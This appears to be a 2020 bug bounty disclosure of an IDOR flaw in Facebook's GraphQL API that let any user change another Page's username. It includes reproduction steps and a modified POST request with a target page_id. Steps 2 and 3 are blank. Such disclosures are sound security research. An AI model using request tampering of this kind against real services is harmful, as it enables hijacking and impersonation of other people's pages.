Published On: 14 Sep 2020
Change the username for any Facebook Page
IDOR
Facebook | Web
---
HIGH VALIDIn Facebook pages, an administrator has the option to create a unique username for a page. This means that you can have personalized URLs, allowing people to access them faster.
Description
Due to an incorrect GraphQL configuration, any user could have changed the URL of any existing Facebook page.
Impact
This could have allowed a malicious user to change a page's username, allowing the user to create a new page using the original URL.
Reproduction Steps
Step
1
Using the new 'FB5' Facebook desktop layout, navigate to your page.
Step
2
Step
3
Step
4
Using Burp Proxy, intercept and modify the following POST request:
POST /api/graphql/ HTTP/1.1
Host: facebook.comfb_api_req_friendly_name=PagesCometAdminEditingUsernameMutation&
doc_id=2886327251450197&
variables={"input":{"end_point":"comet_left_nav_bar","entry_point":"comet","page_id":"0","skip_save_for_validation_only":false,"username":"TEST123456","actor_id":"0","client_mutation_id":"9"}}
Change page_id with your target's Page ID
Response
"data": {
"page_edit_username": {
"error": null,
"username": "TEST123456"
}
}
Step
5
The victim's page URL will be altered to "facebook.com/TEST123456", and the username will be available for any page to use.